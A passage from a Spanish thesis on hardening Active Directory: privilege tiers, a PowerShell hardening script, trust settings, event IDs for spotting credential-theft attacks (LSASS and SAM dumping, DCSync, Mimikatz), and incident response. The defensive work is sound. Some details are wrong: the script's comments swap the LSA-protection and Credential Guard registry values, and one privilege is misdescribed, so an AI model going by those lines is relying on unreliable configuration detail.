en riesgo su cuenta o si se convierte en una amenaza interna (Cloudflare, 2024).

Como hemos podido observar en la sección de compromiso del AD, los privilegios excesivos
sobre distintos elementos del entorno nos han permitido movernos lateralmente y escalar
privilegios en la red. En lo que sigue, se presentan múltiples estrategias para asegurar el
mínimo privilegio, auditar grupos privilegiados y permisos excesivos.

• Control de acceso basado en roles (RBAC): Para evitar que las cuentas, tanto
de servicio como de usuario, obtengan permisos excesivos, debemos definir distintos
roles según la función de dicha cuenta en el entorno, y asignarles los privilegios en
consecuencia de éstos.

• Restringir pertenencia a grupos privilegiados: Debemos asegurar que las cuentas

utilizadas para tareas diarias estén claramente separadas de las cuentas administrativas.
Además, debemos auditar habitualmente la membresía de las cuentas del dominio en
ciertos grupos privilegiados.

• Implementar ‘Just Enough Administration’ (JEA): JEA es un framework de

seguridad de PowerShell que restringe los comandos que puede ejecutar un determinado
usuario.

Para segmentar y proteger las cuentas, equipos y servicios de Active Directory según su
nivel de privilegio, debemos implementar un modelo de capas sobre los objetos de nuestro
entorno:

• Capa 0 (Dominio): Esta es la capa más crítica ya que incluye todas las cuentas y
grupos con capacidad total de control sobre el dominio, como controladores de dominio
y sistemas críticos de identidad y autenticación.

• Capa 1 (Servidores): En esta capa están contemplados todos los servidores necesarios
para un correcto funcionamiento empresarial del entorno, como servidores de base de
datos, cuentas de servicio para aplicaciones, etc.

• Capa 2 (Usuarios y estaciones de trabajo): Aquí se ubican los usuarios finales

y sus estaciones de trabajo, así como todo dispositivo no crítico como impresoras o
equipos de oficina.
4.2. Defensa 63

Siguiendo este modelo, debemos asegurarnos de que ninguna cuenta de una capa determi-
nada se utilice en las capas superiores y viceversa. De esta manera, si algún atacante accede a
un equipo de la capa 2, evitamos que pueda conseguir credenciales más privilegiadas almace-
nadas en la memoria (LSASS). También, aplicamos una segmentación entre las redes usando
la tecnología Virtual LAN (VLAN) y podemos monitorear fácilmente todo intento de acceso
cruzado entre capas.

En Active Directory, los grupos de seguridad son una manera de recopilar cuentas de usua-
rio, cuentas de equipo y otros grupos en unidades administrables. Estos grupos ofrecen una
forma eficaz de asignar derechos de usuario y permisos para acceder y modificar recursos del
AD.

Aquí se listan los privilegios específicos asignados por defecto a algunos de los grupos de
seguridad que debemos monitorizar:

• Administradores Locales (Administrators)

– SeDebugPrivilege (Depurar programas)
– SeBackupPrivilege (Ignorar controles de acceso para realizar copias de seguridad)
– SeRestorePrivilege (Ignorar controles de acceso para restaurar archivos)
– SeTakeOwnershipPrivilege (Tomar posesión de objetos)
– SeSecurityPrivilege (Gestionar auditoría y registro de seguridad)
– SeSystemtimePrivilege (Cambiar la hora del sistema)
– SeShutdownPrivilege (Apagar el sistema)
– SeRemoteShutdownPrivilege (Apagar sistemas remotos)
– SeLoadDriverPrivilege (Cargar/descargar controladores de dispositivo)

• Administradores de Dominio (Domain Admins)

– Hereda todos los privilegios de Administrators en controladores de dominio.
– SeEnableDelegationPrivilege (Habilitar delegación de cuentas)
– Acceso implícito a DCSync (Replicating Directory Changes en el dominio com-
pleto).

• Administradores de Empresa (Enterprise Admins)

– Todos los privilegios de Domain Admins en todos los dominios del bosque.
– SeCreateTokenPrivilege (Crear tokens de acceso, en algunos escenarios)
– Control total sobre el esquema y confianzas de bosque.

• Administradores de Esquema (Schema Admins)

– SeSchemaUpgradePrivilege (Modificar el esquema de Active Directory)

• Operadores de Copia (Backup Operators)

– SeBackupPrivilege (Acceso de lectura a todos los archivos)
64 Desarrollo

– SeRestorePrivilege (Acceso de escritura para restaurar)

– Puede leer el registro SAM y volcados de memoria (LSASS).

• Operadores de Servidores (Server Operators)

– SeInteractiveLogonRight (Iniciar sesión interactivamente en servidores)
– SeSystemtimePrivilege (Cambiar hora del sistema)
– SeShutdownPrivilege (Apagar servidores)

• Operadores de Cuentas (Account Operators)

– Puede crear/modificar cuentas de usuario, grupos no privilegiados y equipos.
– No tiene privilegios especiales por defecto (solo permisos delegados en AD).

• Controladores de Dominio (Domain Controllers)

– SeMachineAccountPrivilege (Tratar equipo como controlador de dominio)
– SeSyncAgentPrivilege (Sincronizar datos de directorio)

• Usuarios de Administración Remota (Remote Management Users)

– Permiso para acceder via WinRM/PSRemoting.
– No incluye privilegios adicionales por sí mismo.

• Usuarios de Escritorio Remoto (Remote Desktop Users)

– SeRemoteInteractiveLogonRight (Iniciar sesión via RDP)

[Link] Autenticación y credenciales

Active Directory nos ofrece múltiples mecanismos de autenticación para acceder a los dis-
tintos equipos y servicios del entorno. Todo protocolo de autenticación es susceptible a ser
configurado erróneamente si no se llevan las precauciones adecuadas. A continuación se es-
pecifican distintas estrategias para mitigar ataques vistos en la sección ofensiva como Pass-
The-Hash, Kerberoasting, NTLM Relay y Golden Tickets.

• Algoritmo de cifrado AES para Kerberos obligatorio: Los tickets de Kerberos

almacenados en los SPN aceptan cifrado RC4, el cuál es muy sencillo y rápido de
crackear.

• Habilitar tráfico SMB firmado: Los equipos controladores de dominio ya firman

todo el tráfico SMB por defecto, pero las estaciones de trabajo lo tienen deshabilitado.
Esto puede implicar un punto de acceso inicial para los atacantes, que pueden utili-
zar para moverse laterlamente por el entorno. También se debe deshabilitar NTLM y
habilitar LDAP/S firmado y ‘channel binding’ (ver apartado [Link]).

• Habilitar protección LSA: Esta característica de seguridad de Windows, introducida

con Windows 8,1, nos permite proteger el proceso crítico LSA, bloquando inyección de
código LSA y el volcado de la memoria de dicho proceso
4.2. Defensa 65

• Habilitar Credential Guard: Estas característica complementaria de la protección

LSA nos ayuda a prevenir distintos ataques protegiendo los hashes NTLM, los Ticket
Granting Ticket (TGT) de Kerberos y diversas credenciales alojadas por software a
nivel de aplicación.

Para aplicar todas estas estrategias, se va a proponer el siguiente script de PowerShell con
el objetivo de un rápido y automatizado despliegue de las medidas de seguridad:
Código 4.4: Medidas de seguridad en mecanismos de autenticación

1 # Forzar AES para Kerberos

2 Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\←-
,→ Policies\System\Kerberos\Parameters" -Name "SupportedEncryptionTypes" ←-
,→ -Value 0x18 -Type DWord
3
4 # Habilitar SMB firmado
5 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\←-
,→ LanmanWorkstation\Parameters" -Name "RequireSecuritySignature" -Value 1 ←-
,→ -Type DWord
6 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\←-
,→ Parameters" -Name "RequireSecuritySignature" -Value 1 -Type DWord
7
8 # Habilitar protección LSA
9 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "←-
,→ LsaCfgFlags" -Value 1 -Type DWord
10
11 # Habilitar Credential Guard
12 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "←-
,→ RunAsPPL" -Value 1 -Type DWord

[Link] Relaciones de confianza

Las relaciones de confianza entre dominios de un entorno Active Directory permiten la au-
tenticación cruzada entre estos dominios, pero también pueden introducir vectores de ataque
para comprometer los distintos dominios de la infraestructura. Como hemos podido observar
en la sección ofensiva del proyecto, los atacantes pueden explotar configuraciones erróneas o
débiles en estas relaciones de confianza para escalar privilegios y moverse lateralmente por el
entorno. En este apartado abordaremos distintas estrategias para endurecer estas relaciones
de confianza mediante configuraciones seguras que impidan el uso de vectores como DCSync
o delegaciones de Kerberos sin restricciones, entre otros.

Uno de los exploits más habituales debido a configuraciones débiles es la inyección de SIDs
desde un dominio confiable para comprometer la seguridad de este dominio. Para evitar este
tipo de ataques debemos habilitar el filtrado SID, que bloquea de forma efectiva cualquier
tipo de abuso de SID desde otro dominio.

Por defecto hay una relación de confianza entre los dominios de un bosque. Sin embar-
go, esta configuración introduce varios vectores de ataque, así que debemos implementar
autenticación selectiva entre dominios para conseguir un buen balance entre seguridad
66 Desarrollo

y funcionalidad. Por ejemplo, si el dominio se llama [Link], debemos

ejecutar el siguiente comando para habilitar estas medidas de seguridad:
Código 4.5: Buenas medidas de seguridad para implementar relaciones de confianza seguras

1 # Habilitar filtrado SID

2 Set-ADTrust -Identity "[Link]" -SIDFilteringQuarantined $true
3
4 # Habilitar autentación selectiva
5 Set-ADTrust -Identity "[Link]" -SelectiveAuthentication $true

Además, debemos evitar siempre que sea posible las relaciones de confianza bidireccionales,
y es preferible usar relaciones de confianza entre bosques que entre dominios externos.

4.2.2 Detección
Aunque las medidas preventivas previamente descritas son esenciales para una buena estra-
tegia de defensa, la monitorización exhaustiva del entorno es crítica para identificar amenazas
que ya se hayan infilitrado en el Active Directory.

[Link] Monitorización de eventos

En estos entornos Active Directory, la capacidad de los equipos Blue Team para detectar
amenzas depende en gran medidad del análisis de eventos generados por los objetos del AD.
Además de para detectar posibles ataques en tiempo real, estos eventos consituyen una de
las fuentes de información para la investigación forense tras un incidente de seguridad.

A continuación, vamos a presentar una lista de IDs de eventos generados por las distintas
técnicas de ataque que hemos utilizado durante nuestra simulación de adversario sobre el en-
torno virtual. Es importante remarcar, que muchos de estos eventos requiren que se habiliten
mediante auditorías específicas en los objetos de políticas de grupo.

• Kerberoasting
– ID 4624 (Account Logon): Logins exitosos después de obtener TGS
– ID 4672 (Special Privileges Assigned): Cuando se asignan privilegios para solici-
tudes SPN
– ID 4769 (A Kerberos Ticket Granting Service (TGS) was requested): Solicitud de
TGS con cifrado RC4 (tipo 0x17)
– ID 4738 (User Account Changed), 5136 (Directory Service Changes): Modificacio-
nes de atributos de cuentas

• DCSync
– ID 4624 (Account Logon - Logon Type 3): Inicio de sesión desde sistema atacante
– ID 4662 (Directory Service Access): Operaciones de replicación (DCSync)
– ID 4670 (Permissions Changed): Cambios en permisos que permiten DCSync
– ID 4673 (Sensitive Privilege Use): Uso de SeSyncAgentPrivilege
4.2. Defensa 67

– ID 5136 (Directory Service Changes): Modificaciones en objetos de AD

• Envenenamiento de protocolos (Responder LLMNR/NBT-NS)

– ID 4697 (Service Installed): Creación de servicios maliciosos
– ID 7045 (Service Creation): Nuevos servicios creados
– ID 4648 (Logon with Explicit Credentials): Credenciales capturadas

• NTLM Relay
– ID 4624 (Account Logon - Type 3): Conexiones NTLM sospechosas
– ID 4648 (Logon with Explicit Credentials): Uso de credenciales explícitas
– ID 4776 (NTLM Authentication): Intentos de autenticación NTLM

• Pass-The-Hash
– ID 4624 (Account Logon - Type 3/9): Logins con credenciales reutilizadas
– ID 4648 (Logon with Explicit Credentials): Uso de credenciales explícitas
– ID 4672 (Special Privileges Assigned): Uso de privilegios elevados
– ID 4776 (NTLM Authentication): Autenticación NTLM

• Persistencia mediante registros

– ID 4657 (Registry Value Modified): Cambios en claves de registro
– ID 4663 (File/Registry Access): Accesos sospechosos al registro

• Persistencia mediante Scheduled Tasks

– ID 4698 (Scheduled Task Created): Creación de tareas planificadas
– ID 4702 (Scheduled Task Modified): Modificación de tareas

• Pivoting con Chisel (SOCKS)

– ID 5156 (Windows Firewall Activity): Conexiones inusuales
– ID 3 (Network Connection - Sysmon): Conexiones a puertos no estándar

• Abuso de Backup Operators (volcado [Link])

– ID 1102 (Log Cleared): Borrado de logs
– ID 4663 (File Access): Acceso a [Link]
– ID 4672 (Special Privileges Assigned): Privilegios de BackupOperator
– ID 5145 (Network Share Accessed): Acceso a archivos críticos

• Volcado de SAM local

– ID 4656 (Handle Request): Acceso a objetos protegidos
– ID 4663 (File Access): Acceso al archivo SAM
– ID 4673 (Sensitive Privilege Use): Uso de SeBackupPrivilege
68 Desarrollo

• Dump de datos para BloodHound

– ID 4662 (Directory Service Access): Consultas LDAP sospechosas
– ID 5136 (Directory Service Changes): Exportación masiva de AD

• Golden Tickets
– ID 4768 (Kerberos TGT Request): Solicitud sospechosa de TGT
– ID 4769 (Kerberos TGS Request): Tickets con vida anormal
– ID 4672 (Special Privileges Assigned): Privilegio para crear tickets

• Shadow Admins
– ID 4728 (Member Added to Global Group), 4732 (Member Added to Local Group),
4756 (Member Added to Universal Group): Adiciones a grupos potencialmente
privilegiados
– ID 5136 (Directory Service Changes): Modificaciones en ACLs

• Volcado de LSASS
– ID 10 (Process Access - Sysmon): Acceso a LSASS
– ID 4656 (Handle Request): Solicitud de manejo de LSASS
– ID 4688 (Process Creation): Ejecución de herramientas de dumping
– ID 4690 (Handle Duplicated): Duplicación de handles a LSASS

Aunque la captura de estos eventos es vital para conseguir una estrategia de seguridad
defensiva efectiva, el verdadero reto está en interpretar dichos eventos para descartar falsos
positivos y localizar la amenaza lo antes posible.

4.2.3 Respuesta
Un incidente es una interrupción o reducción de calidad de un servicio IT (Centro Crip-
tológico Nacional, 2015). En esta sección, nos centraremos en todos aquellos incidentes que
afectan a la seguridad de la infraestructura.

Cuando ocurre un ciberataque en una organización, la estrategia de repuesta a incidentes

debe poder contener, erradicar y restaurar las operaciones, a la vez que preservar to-
dos los datos necesarios para un posterior análisis forense. Esta estrategia de respuesta debe
transformarse con el tiempo gracias a experiencias pasadas de incidentes y a la integración
de nuevas tecnologías en la infraestructura.

Es importante remarcar que aunque identifiquemos el origen del ciberataque, la legislación

española a Mayo de 2025 prohíbe el uso de respuestas ofensivas en el ámbito civil.
4.2. Defensa 69

[Link] Contención y erradicación

En nuestra estrategia de incidentes, debemos proporcionar una serie de acciones para con-
tener y erradicar los distintos ataques al Active Directory. Este paso es crucial para garantizar
que el atacante no mantenga ningún tipo de persistencia en la infraestructura. Las acciones
deben ser exhaustivas y sistemáticas para no dejar sistema ni servicio comprometido.

• Golden Tickets
– Cambiar la contraseña de la cuenta KRBTGT dos veces (invalida todos los tickets
existentes)
– Implementar Políticas de Autenticación para restringir la duración de los tic-
kets
– Habilitar Políticas de Auditoría Avanzada para eventos Kerberos (Evento ID
4769)

• Abuso de DCSync
– Revocar inmediatamente los permisos de Replicar Cambios en el Directorio
– Eliminar cuentas comprometidas de los grupos Administradores, Administra-
dores de Empresa y Administradores de Esquema
– Implementar Estaciones de Acceso Privilegiado (PAWs) para administración
de AD

• Pass-the-Hash
– Deshabilitar todas las cuentas comprometidas
– Forzar rotación de hashes NTLM mediante cambios de contraseña

• Mecansimos de persistencia
– Eliminar:
∗ Claves de registro maliciosas (HKLM\...\Run, RunOnce)
∗ Tareas programadas (ver Evento ID 4698)
∗ Entradas de servicios (Evento ID 7045)
– Auditar GPOs por modificaciones no autorizadas
– Revisar carpetas de inicio (C:\ProgramData\Microsoft\Windows\Start Me-
nu\Programs\Startup)

• Kerberoasting
– Cambiar contraseñas de todas las cuentas de servicio con SPNs
– Forzar cifrado AES para tickets Kerberos

• Movimiento lateral
– Bloquear WMI y PSRemoting para usuarios no administradores
– Restringir recursos compartidos administrativos (C$, ADMIN$)
70 Desarrollo

• Volcado de LSASS
– Habilitar Protección LSA (RunAsPPL)
– Desplegar reglas de Reducción de Superficie de Ataque que bloqueen Mimi-
katz
– Restringir privilegios de depuración mediante Política de Grupo

[Link] Recuperación
Una vez contenida y erradicada la amenaza, debemos restablecer las operaciones y servicios
del entorno para asegurar la continuidad del negocio lo antes posible. Para llevar a cabo este
cometido, debemos tener un plan de recuperación eficaz con copias de seguridad confiables
y no comprometidas. Nuestra estrategia de seguridad debe seguir la siguiente premisa: no
podemos tener todo el sistema de backups en la misma red que los activos que se copian.
La razón detrás de esto es que si todas las copias de seguridad están comprometidas, un
atacante podría borrarlas por completo o modificarlas ligeramente para continuar teniendo
persistencia en el entorno.

Una buena práctica que podemos seguir en cuanto a la gestión de copias de seguridad, es
la estrategia 3-2-1. Básicamente, describe cuantas copias de seguridad debemos tener, en qué
dispositivos almancenar dichas copias y donde almacenar físicamente estos dispositivos:

• 3 copias de los datos: Debemos mantener tres copias distintas de los datos que queremos
salvaguardar.

• 2 sistemas de almacenamiento: Debemos guardar dos copias de seguridad en al menos

dos dispositivos de almacenamiento, como discos duros, soluciones Network Attached
Storage (NAS), cloud, cintas magnéticas, etc.

• 1 copia fuera de las instalaciones: Debemos tener una de las copias de seguridad fuera
de la red e infraestructura física de la organización, para poder recuperar los datos
en caso de que una catástrofe destruya la sede de la organización y/o la red se vea
comprometida en su totalidad.

Además de estas prácticas, se suele recomendar contratar servicios de guardia y custodia

(seguridad física) si la pérdida de estas copias de seguridad suponen un perjuicio grave al
negocio o pertenecen a redes de infraestructuras críticas para un Estado.
5 Conclusiones
En este trabajo de fin de grado se han analizado en profundidad las tácticas de escalado
de privilegios, persistencia y movimiento lateral en un entorno virtual de Active Directory.
Gracias a la ejecución de ataques como Kerberoasting, NTLM Relay, uso de Golden Tickets o
abuso de privilegios; hemos podido probar de forma empírica el hueco de seguridad existente
en Active Directory.

Tras realizar el ejercicio de Red Team, y teniendo en cuenta los ataques realizados durante
el mismo, se han implementado contramedidas centradas en la prevención, detección y res-
puesta de incidentes de seguridad en estas infraestructuras. Toda esta experiencia adquirida
durante las dos fases del proyecto, ha puesto de manifiesto la importancia de la planificación
y el análisis continuo como pilares básicos e imprescindibles para el despliegue de estos en-
tornos en producción.

Gracias a la metodología ágil basada en hitos semanales, se ha afrontado tanto la simu-

lación de adversario (fase ofensiva) como la implementación de medidas endurecedoras del
entorno (fase defensiva) de una forma estructurada y eficaz.

A lo largo del desarrollo de este trabajo, se ha hecho evidente la inseguridad inherente

que está presente en los entornos de Active Directory. Aunque facilita la gestión de identi-
dades y autorizaciones en redes complejas, esta tecnología fue diseñada con el propósito de
ser funcional, no segura. Esto hace que aunque se desarrollen e implementen nuevas medidas
de seguridad, siempre se construyen sobre una arquitectura que es insegura por defecto. Esta
inseguridad es consecuencia de la compatibilidad con protocolos ya en desuso y vulnerables
a múltiples ataques y, sobre todo, de la excesiva confianza entre los objetos de un dominio.
Toda esta realidad subraya la necesidad imperiosa de aplicar medidas de endurecimiento
proactivas y mantener una vigilancia continua para detectar cualquier potencial amenaza, y
así mitigar los riesgos asociados en la medida de lo posible.

Con el creciente avance de la inteligencia artificial, cabe también esperar que acabemos
integrando estas nuevas tecnologías tanto en el ámbito ofensivo como defensivo. Por un lado,
en la vertiente ofensiva, ya se están desarrollando herramientas de IA capaces, ya no solo
de identificar vulnerabilidades y vectores de ataque potenciales, sino de explotarlos con una
precisión cada vez mayor. Por otro lado, la IA defensiva ofrece muchas herramientas de de-
tección temprana de amenazas gracias a la correlación de eventos y análisis de patrones de
comportamiento en tiempo real. Sin embargo, en esta nueva era de la informática, la IA no
debe ser considerada como una solución única, sino como una herramienta más que tenemos
el deber de integrar en nuestra operativa.

71
72 Conclusiones

5.1 Futuras líneas de investigación

Durante la configuración del laboratorio, se ha puesto de manifiesto la necesidad de auto-
matizar el proceso de despliegue y configuración del entorno. Teniendo los scripts de confi-
guración, una posible línea de investigación que permitiría sobrellevar esta limitación sería
el uso de Ansible para la configuración y el uso de infraestructuras en la nube como Azure o
Amazon AWS.

En la fase ofensiva, el uso de diversas herramientas y túneles concatenados para el movi-

miento lateral por la red ha sido muy deficiente. Por este motivo, sería muy recomendable,
integrar en el proceso de simulaciones de adversario el uso de sistemas de Comando y Control,
como por ejemplo Sliver o Havoc. Este software no solo nos permitiría simplificar la táctica
de movimiento lateral, sino que incluyen medidas de evasión y formas de comunicación y
exfiltración de información muy sigilosas.

En la fase defensiva, se debería configurar alguna solución más avanzada de detección

de amenazas como un XDR que integre varias de las capacidades de detección y respuesta
mencionadas. Un software de código abierto compatible con Windows y que permite la confi-
guración de distintos agentes en controladores de dominio y estaciones de trabajo es Wazuh.
Esta línea de investigación permitiría evaluar la efectividad de los ataques en un entorno
realmente hostil y altamente controlado, así como no permitiría automatizar las respuestas
a llevar a cabo según los patrones previamente definidos.
Bibliografía
Aditya Bhatt. (2025). Malware hash analysis: Identifying threats with cryptographic
precision. Descargado de [Link]
-identifying-threats-with-cryptographic-precision-8d87499c50c4 (Accedido 23-
04-2025)
Aslan, Ömer Aslan and Samet, Refik. (2020). A comprehensive review on malware detection
approaches. IEEE Access. (Accedido 30-04-2025) doi: 10.1109/ACCESS.2019.2963724
Bhandari, Randhir and Kumar, Nagesh and Sharma, Sachin. (2014). Analysis of windows
authentication protocols: Ntlm and kerberos.. (Accedido 30-04-2025) doi: 10.13140/2.1
.2087.5528
BloodHound Team. (2025). Bloodhound documentation. Descargado de [Link]
.[Link]/en/latest/ (Accedido 17-03-2025)
Centro Criptológico Nacional. (2015). Guía de seguridad (ccn-stic-401): Glosario y
abreviaturas. Descargado de [Link]
series/400-Guias_Generales/401-glosario_abreviaturas/[Link] (Accedido
05-05-2025)
Centro Criptológico Nacional. (2024). ¿qué es el esquema nacional de seguridad (ens)?
[Link] (Accedido 05-05-2025)
Claranet. (2024). The art of deception: Social engineering in red teaming. Descarga-
do de [Link]
-teaming (Accedido 04-12-2024)
Cloudflare. (2024). ¿qué es el principio de mínimos privilegios? Descargado
de [Link]
-least-privilege/ (Accedido 12-05-2025)
Cranfield University. (2023). Ukraine war: False flag operations. Descargado de https://
[Link]/press/news-2023/ukraine-war-false-flag-operations (Ac-
cedido 10-12-2024)
CrowdStrike. (2022a). 4 ways adversaries hijack dlls. Descargado de [Link]
.[Link]/en-us/blog/4-ways-adversaries-hijack-dlls/ (Accedido 07-12-
2024)
CrowdStrike. (2022b). Attackers set sights on active directory: Understanding your identity
exposure. Descargado de [Link]
-sights-on-active-directory-understanding-your-identity-exposure/ (Accedido
11-01-2025)

73
74 Bibliografía

Departamento de Seguridad Nacional. (2025). Sitio oficial del departamento de seguridad

nacional (dsn). Descargado de [Link] (Accedido 17-05-2025)

España. (2002). Ley 34/2002, de 11 de julio, de servicios de la sociedad de la información

y de comercio electrónico. Descargado de [Link]
-A-2002-13758 (Accedido 21-04-2025)

España. (2022). Real decreto 311/2022, de 3 de mayo, por el que se regula el esquema
nacional de seguridad. Descargado de [Link]
-2022-7191 (Accedido 05-05-2025)

Fortinet. (2025a). What is a dmz? Descargado de [Link]

resources/cyberglossary/what-is-dmz (Accedido 06-12-2024)

Fortinet. (2025b). ¿qué es la inspección profunda de paquetes (dpi)? Descar-

gado de [Link]
-inspection (Accedido 22-04-2025)

Fortra Core Security. (2024). Impacket: A collection of python classes for working with
network protocols. Descargado de [Link] (Accedido
04-05-2025)

Gartner, Inc. (2025). Network detection and response reviews and ratings. Descargado de
[Link] (Con-
sultado el 22 de abril de 2025)

Hackplayers. (2025). Evil-winrm: The ultimate winrm shell for hacking/pentesting.

[Link] (Accedido 15-05-2025)

IEEE. (2022). Phishing attacks: What you need to know (Inf. Téc.). Department of Computer
Science, Keene State College. Descargado de [Link]
NLSri/Apr2022/[Link] (Accedido 26-03-2025)

INCIBE. (2019). Ingeniería social: Técnicas utilizadas por los ciberdelincuentes y cómo
protegerse. Descargado de [Link]
-tecnicas-utilizadas-los-ciberdelincuentes-y-protegerse (Accedido 04-12-2024)

InfoSec Institute. (2018). Red team assessment phases overview. Descar-

gado de [Link]
-team-assessment-phases-overview/ (Accedido 27-11-2024)

Jagannath, A., Jagannath, J., y Kumar, P. S. P. V. (2022). A comprehensive survey on radio

frequency (rf) fingerprinting: Traditional approaches, deep learning, and open challenges.
Computer Networks, 219. Descargado de [Link]
article/pii/S1389128622004893 (Accedido 10-12-2024) doi: [Link]
[Link].2022.109455

Jaime Pillora. (2025). Chisel: A fast tcp/udp tunnel over http. Descargado de https://
[Link]/jpillora/chisel (Accedido 15-05-2025)
Bibliografía 75

Jens ’atom’ Steube and Gabriele ’matrix’ Gristina. (2022). Hashcat: World’s fastest and
most advanced password recovery utility. Descargado de [Link]
hashcat (Accedido 24-04-2025)

Kent, Karen and Souppaya, Murugiah and Scarato, Matthew. (2006). Guide to com-
puter security log management (Inf. Téc.). National Institute of Standards and
Technology (NIST). Descargado de [Link]
[Link] (Accedido 21-04-2025)

Laurent Gaffie. (2025). Responder: Llmnr, nbt-ns and mdns poisoner with rogue authentication
server. Descargado de [Link] (Accedido 24-04-2025)

Luke Hunsinger. (2025). Edr vs mdr vs xdr: Everything you need to know. Descarga-
do de [Link]
edr-vs-mdr-vs-xdr/ (Accedido 22-04-2025)

Maciá Pérez, F., Mora Gimeno, F. J., Gil Martínez-Abarca, J. A., Gilart, V., Marcos-
Jorquera, D., Berna-Martinez, J. V., … Hernández Sáez, A. (2008). Administración de
servicios de Internet. De la teoría a la práctica. (Accedido 19-12-2024)

Massachusetts Institute of Technology. (2024). Mit kerberos consortium. Descargado de

[Link] (Accedido 04-05-2025)

Michael N. Schmitt (Ed.). (2017). Tallinn Manual 2.0 on the International Law Applicable
to Cyber Operations. Cambridge University Press. (Accedido 17-05-2025) doi: 10.1017/
9781316822524

Microsoft. (2016). Server message block overview. Descargado de https://

[Link]/en-us/previous-versions/windows/it-pro/windows-server
-2012-r2-and-2012/hh831795(v=ws.11) (Accedido 27-01-2025)

Microsoft. (2024). Active directory domain services overview. Descarga-

do de [Link]
-started/virtual-dc/active-directory-domain-services-overview (Accedido 19-
12-2024)

Microsoft Corporation. (2025). Introducción a la directiva de grupo para windows ser-

ver. Descargado de [Link]
ad-ds/manage/group-policy/group-policy-overview (Accedido 15-05-2025)

MITRE ATT&CK. (2020). Remote services: Windows remote management. Descargado de

[Link] (Accedido 03-02-2025)

MITRE ATT&CK. (2025a). Lateral movement (ta0008). Descargado de [Link]

.[Link]/tactics/TA0008/ (Accedido 07-12-2024)

MITRE ATT&CK. (2025b). Persistence (ta0003). Descargado de [Link]

.org/tactics/TA0003/ (Accedido 06-12-2024)
76 Bibliografía

MITRE ATT&CK. (2025c). Privilege escalation (ta0004). Descargado de [Link]

.[Link]/tactics/TA0004/ (Accedido 06-12-2024)

Motero, Carlos Díaz and Higuera, Juan Ramón Bermejo and Higuera, Javier Bermejo and
Montalvo, Juan Antonio Sicilia and Gómez, Nadia Gámez. (2021). On attacking kerberos
authentication protocol in windows active directory services: A practical survey. IEEE
Access. (Accedido 05-05-2025) doi: 10.1109/ACCESS.2021.3101446

National Institute of Standards and Technology (NIST). (2025). Red team exercise. Descar-
gado de [Link] (Accedido 24-11-
2024)

NATO Cooperative Cyber Defence Centre of Excellence. (2024). Crossed swords. Descargado
de [Link] (Accedido 17-05-2025)

NATO Cooperative Cyber Defence Centre of Excellence. (2025). About us. Descargado de
[Link] (Accedido 17-05-2025)

Nmap Project. (2025a). Ncat: Netcat for the 21st century. Descargado de [Link]
ncat/ (Accedido 15-05-2025)

Nmap Project. (2025b). Nmap: the network mapper. Descargado de [Link]

(Accedido 15-05-2025)

O. Aslan and R. Samet. (2017). Investigation of possibilities to detect malware using existing
tools. En Proceedings of the ieee/acs 14th international conference on computer systems
and applications (aiccsa). IEEE. (Accedido 30-04-2025) doi: 10.1109/AICCSA.2017.177

Qatinah, Shatha Hameed and Al-Baltah, Ibrahim Ahmed. (2024). Kerberos protocol: Security
attacks and solution. En 2024 1st international conference on emerging technologies for
dependable internet of things (iceti). (Accedido 04-05-2025) doi: 10.1109/ICETI63946.2024
.10777133

RedTeam Guide. (2025). Red teaming definitions. Descargado de [Link]

docs/definitions/ (Accedido 10-12-2024)

Tarlogic. (2025). ¿qué es c2 command and control? Descargado de [Link]

.com/es/glosario-ciberseguridad/c2-command-and-control/ (Accedido 03-02-2025)

Tarlogic Security. (2025). ¿qué es hashcat? Descargado de [Link]

glosario-ciberseguridad/hashcat/ (Accedido 24-04-2025)

U.S. Department of Defense. (2016). Joint doctrine note 1-16: Command red team. Online.
Descargado de [Link] (Accedido 24-11-2024)

U.S. Department of Defense. (2021). The national opsec program (Inf. Téc.). U.S. Department
of Defense. Descargado de [Link]
-1/0/THE_NATIONAL_OPSEC_PROGRAM.PDF (Accedido 10-12-2024)
Acrónimos y Abreviaturas
3G Third Generation.
4G Fourth Generation.
ACL Access Control List.
AD Active Directory.
AD DS Active Directory Domain Services.
AES Advanced Encryption Standard.
AMSI Antimalware Scan Interface.
API Application Programming Interface.
APT Advanced Persistent Threat.
ASCII American Standard Code for Information Interchan-
ge.
AV Antivirus.
AWS Amazon Web Services.
BD Base de Datos.
C2 Command and Control.
CCDCOE Centro de Excelencia en Ciberdefensa Cooperativo
de la OTAN.
CCN Centro Criptológico Nacional.
CEO Chief Executive Officer.
CNI Centro Nacional de Inteligencia.
CPU Central Processing Unit.
DC Domain Controller.
DES Data Encryption Standard.
DHCP Dynamic Host Configuration Protocol.
DLL Dynamic Link Library.
DMZ Demilitarized Zone.
DNS Domain Name System.
DPI Deep Packet Inspection.
EC2 Amazon Elastic Compute Cloud.
ECDSA Elliptic Curve Digital Signature Algorithm.
EDR Endpoint Detection and Response.
ENS Esquema Nacional de Seguridad.
FTP File Transfer Protocol.
GB GigaByte.
GPO Group Policy Object.
GPU Graphics Processing Unit.

77
78 Acrónimos y Abreviaturas

GSM Global System for Mobile Communications.

GUID Globally Unique Identifier.
HMAC Hash-based Message Authentication Code.
HTTP Hypertext Transfer Protocol.
IBM International Business Machines Corporation.
ICMP Internet Control Message Protocol.
IDS Intrusion Detection System.
IEEE Institute of Electrical and Electronics Engineers.
IMAP Internet Message Access Protocol.
INCIBE Instituto Nacional de Ciberseguridad.
IP Internet Protocol.
IPS Intrusion Prevention System.
KDC Key Distribution Center.
LDAP Lightweight Directory Access Protocol.
LLMNR Link-Local Multicast Name Resolution.
LM LAN Manager.
LOTL Living Off The Land.
LSASS Local Security Authority Subsystem Service.
LSSI Ley de Servicios de la Sociedad de la Información.
MAC Media Access Control.
MCCE Mando Conjunto del Ciberespacio.
MD4 Message-Digest Algorithm 4.
MDNS Multicast DNS.
MDR Managed detection and response.
MFA Multi-Factor Authentication.
MIT Massachusetts Institute of Technology.
MSSQL Microsoft SQL.
NAS Network Attached Storage.
NBT-NS NetBIOS Name Server.
NDR Network detection and response.
NFS Network File System.
